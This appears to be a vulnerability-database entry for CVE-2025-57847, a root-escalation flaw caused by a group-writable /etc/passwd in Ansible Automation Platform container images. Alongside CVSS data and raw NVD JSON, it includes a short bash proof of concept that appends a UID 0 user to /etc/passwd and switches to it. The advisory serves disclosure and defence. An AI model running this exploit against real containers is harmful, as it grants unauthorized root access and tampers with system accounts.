Security Vulnerability Report
中文
CVE-2025-57847 CVSS 6.4 MEDIUM

CVE-2025-57847

Published: 2026-04-08 14:16:26
Last Modified: 2026-05-01 20:19:48

Description

A container privilege escalation flaw was found in certain Ansible Automation Platform images. This issue arises from the /etc/passwd file being created with group-writable permissions during the build process. In certain conditions, an attacker who can execute commands within an affected container, even as a non-root user, can leverage their membership in the root group to modify the /etc/passwd file. This vulnerability allows an attacker to add a new user with any arbitrary UID, including UID 0, gaining full root privileges within the container.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:redhat:ansible_automation_platform:*:*:*:*:*:*:*:* - VULNERABLE
Ansible Automation Platform (受影响的特定镜像)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # PoC for CVE-2025-57847: Container Privilege Escalation via /etc/passwd # Assumption: Attacker has command execution inside the container and is in the 'root' group. # 1. Check if /etc/passwd is group-writable ls -l /etc/passwd # 2. Verify current user groups (look for 'root') groups # 3. Exploit: Add a new user 'hacker' with UID 0 (root) to /etc/passwd # Format: username:password:UID:GID:gecos:home:shell echo 'hacker:x:0:0:hacker:/root:/bin/bash' >> /etc/passwd # 4. Verify the entry was added tail -n 1 /etc/passwd # 5. Switch to the new root user su hacker # 6. Verify root privileges whoami

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57847", "sourceIdentifier": "[email protected]", "published": "2026-04-08T14:16:25.577", "lastModified": "2026-05-01T20:19:48.463", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A container privilege escalation flaw was found in certain Ansible Automation Platform images. This issue arises from the /etc/passwd file being created with group-writable permissions during the build process. In certain conditions, an attacker who can execute commands within an affected container, even as a non-root user, can leverage their membership in the root group to modify the /etc/passwd file. This vulnerability allows an attacker to add a new user with any arbitrary UID, including UID 0, gaining full root privileges within the container."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-276"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redhat:ansible_automation_platform:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.6", "matchCriteriaId": "54CB7869-8F6E-4A79-8545-EBD5B2070F5B"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-57847", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2391092", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}